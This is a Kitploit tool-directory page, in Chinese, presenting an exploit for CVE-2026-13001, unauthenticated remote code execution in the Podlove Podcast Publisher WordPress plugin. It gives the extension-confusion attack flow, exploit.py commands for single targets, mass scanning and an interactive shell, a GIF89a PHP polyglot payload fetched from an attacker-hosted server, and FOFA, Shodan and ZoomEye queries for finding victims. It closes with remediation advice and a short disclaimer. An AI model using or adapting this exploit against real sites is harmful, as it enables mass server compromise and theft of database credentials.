Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-13001 — CVE-2026-13001的利用工具:通过扩展名混淆在Podlove Podcast Publisher中实现未认证的远程代码执行。包含批量扫描、交互式Shell以及GIF89a PHP多语言载荷。 | Kitploit
工具/GitHubGitHub/ghostpels/cve-2026-13001
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育Payload 开发
GitHubghostpels/cve-2026-13001

CVE-2026-13001

CVE-2026-13001的利用工具:通过扩展名混淆在Podlove Podcast Publisher中实现未认证的远程代码执行。包含批量扫描、交互式Shell以及GIF89a PHP多语言载荷。

查看仓库
28天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-13001

Podlove Podcast Publisher <= 4.5.1 — 未认证RCE(扩展名混淆漏洞)

CVSS 9.8(严重) | 未认证任意文件上传导致远程代码执行


概述

Podlove Podcast Publisher WordPress 插件(版本 4.5.1 及以下)存在严重漏洞,允许未认证攻击者通过图片缓存功能上传任意 PHP 文件至服务器,从而导致远程代码执行(RCE)。

该漏洞利用了两个内部函数在解析文件扩展名时的不一致性:

函数方法输入:payload.php?.gif结果
is_image()basename() 后 pathinfo()payload.php?.gif.gif(通过验证)
extract_file_extension()parse_url() 后 pathinfo()/payload.php.php(保存到磁盘)

漏洞详情


根本原因分析

漏洞成因是 Podlove 插件中的两个函数解析同一URL时提取了不同的文件扩展名:

1. is_image() — 验证(位于 lib/helper.php)

root@kitploit:~
// 调用方式:is_image($temp_file, basename($this->source_url))
// basename("https://attacker.com/payload.php?.gif") 返回 "payload.php?.gif"
// pathinfo("payload.php?.gif", PATHINFO_EXTENSION) 返回 "gif"  <- 绕过!

该函数检查:

  • 基于内容的 exif_imagetype() 检查——需要有效的图片头部(GIF89a)
  • 通过 wp_check_filetype_and_ext() 进行的 WordPress 文件类型检查
  • 扩展名黑名单(php、php3、php4、php5、phtml、phar 等)

由于 basename() 包含了查询字符串,扩展名显示为 gif——不在黑名单中。

2. extract_file_extension() — 文件命名(位于 lib/model/image.php)

root@kitploit:~
// parse_url("https://attacker.com/payload.php?.gif")
// path = "/payload.php"  (查询字符串被移除!)
// pathinfo("/payload.php", PATHINFO_EXTENSION) 返回 "php"

文件以 .php 扩展名保存到磁盘。


攻击流程

root@kitploit:~
1. 攻击者在 attacker.com/payload.php 上托管 GIF89a PHP 多语言文件
   (文件以 GIF89a 头部开头但包含 PHP 代码)

2. 利用操作:在 URL 后追加 ?.gif:payload.php?.gif
   然后对完整的URL进行十六进制编码

3. 触发缓存下载:
   GET /?podlove_image_cache_url={hex_encoded_url}&podlove_file_name=test

4. 插件处理:
   a. 从攻击者URL下载文件
   b. is_image() 检查内容:检测到 GIF89a 头部 - 通过
   c. is_image() 检查扩展名:basename 看到 "gif" - 通过
   d. extract_file_extension() 使用 parse_url 路径:得到 "php"
   e. 文件保存为:test_original.php

5. 文件位置:
   /wp-content/cache/podlove/{hash[:2]}/{hash[2:]}/test_original.php

6. 攻击者访问文件并传入参数 -> 实现 RCE

安装

root@kitploit:~
git clone https://github.com/ghostpel-sec/CVE-2026-13001.git
cd CVE-2026-13001
pip install -r requirements.txt

使用方法

单个目标

root@kitploit:~
python3 exploit.py -u http://target.com \
  -s https://yourserver.com/shell_polyglot.gif.php \
  --filename test -v

批量扫描

root@kitploit:~
python3 exploit.py -f targets.txt \
  -s https://yourserver.com/shell_polyglot.gif.php \
  -o vuln.txt -t 15 -v

交互模式(直接访问上传的文件)

root@kitploit:~
python3 exploit.py --shell-url http://target.com/wp-content/cache/podlove/a1/b2c3.../test_original.php

调试模式

root@kitploit:~
python3 exploit.py -u http://target.com \
  -s https://yourserver.com/shell_polyglot.gif.php \
  --filename test --debug

选项

root@kitploit:~
-u, --url          单个目标 URL
-f, --file         包含目标 URL 的文件(每行一个)
-s, --shell        托管 GIF89a PHP 多语言文件的 URL
--filename         缓存文件的自定义文件名(默认:shell)
--shell-url        交互模式的直接 URL
-o, --output       输出易受攻击目标文件(批量模式)
-t, --threads      线程数(默认:10)
-v, --verbose      详细输出
--debug            调试输出(显示所有 HTTP 请求)
--no-payload-test  跳过载荷可访问性测试

载荷:GIF89a PHP 多语言文件

shell_polyglot.gif.php 是一个多语言文件,同时可作为 GIF 图片和 PHP 有效:

root@kitploit:~
GIF89a        <- 有效的 GIF 头部(通过 exif_imagetype 检查)
/*            <- 注释开始(GIF 二进制数据在 PHP 中被注释掉)

<?php         <- PHP 代码从这里开始
// ... 代码 ...
?>

重要:多语言文件必须以静态文件形式托管(例如 Cloudflare R2、AWS S3、不带 PHP 的 nginx)。如果托管服务器处理 PHP,代码将在托管服务器上运行,而不是作为原始内容传递给目标。


FOFA / Shodan / ZoomEye

root@kitploit:~
# FOFA
body="podlove-podcasting-plugin-for-wordpress"

# Shodan
http.html:"podlove"

# ZoomEye
app:"Podlove Podcast Publisher"

影响

成功利用会导致以 Web 服务器用户身份远程代码执行:

  • 从 wp-config.php 提取数据库凭据
  • 访问所有 WordPress 用户、文章和插件数据
  • 部署持久访问机制
  • 横向移动到内部网络
  • 完全服务器入侵

修复措施

  1. 更新 Podlove Podcast Publisher 至 4.5.2 或更高版本
  2. 删除 wp-content/cache/podlove/ 目录中的内容
  3. 审计服务器上缓存目录中是否存在未知的 PHP 文件
  4. 监控访问日志中可疑的 podlove_image_cache_url 请求

与 CVE-2025-10147 的关系

本漏洞是对 CVE-2025-10147(Podlove <= 4.2.6)修复的绕过。

方面CVE-2025-10147 (v4.2.6)CVE-2026-13001 (v4.5.1)
根本原因完全没有文件类型验证通过扩展名混淆绕过验证
利用技术直接上传 PHP 文件GIF89a 多语言文件 + URL 查询技巧

详见 analysis/CVE_COMPARISON.md 完整对比。


参考

  • Wordfence 公告
  • GitHub 修复提交
  • WordPress 插件页面
  • NVD 条目

免责声明

仅供教育和授权测试使用。

此工具仅供安全研究人员和渗透测试人员在获得明确书面授权的情况下测试目标系统。未经授权访问计算机系统是非法的。作者对滥用此工具不承担任何责任。


作者

ghostpel-sec — 安全研究与漏洞利用开发

许可证

本项目基于 ghostpel-sec Security Research License 许可。

下载工具
字段值
CVE IDCVE-2026-13001
CVSS9.8(严重)
CWECWE-20(输入验证不当)
插件Podlove Podcast Publisher
受影响版本4.5.1 及以下
已修复版本4.5.2
类型未认证任意文件上传导致RCE
发现者Talal Nasraddeen(通过 Wordfence)
公开日期2026年7月14日
已应用的修复
添加了带有黑名单的 is_image()
修复了扩展名解析的一致性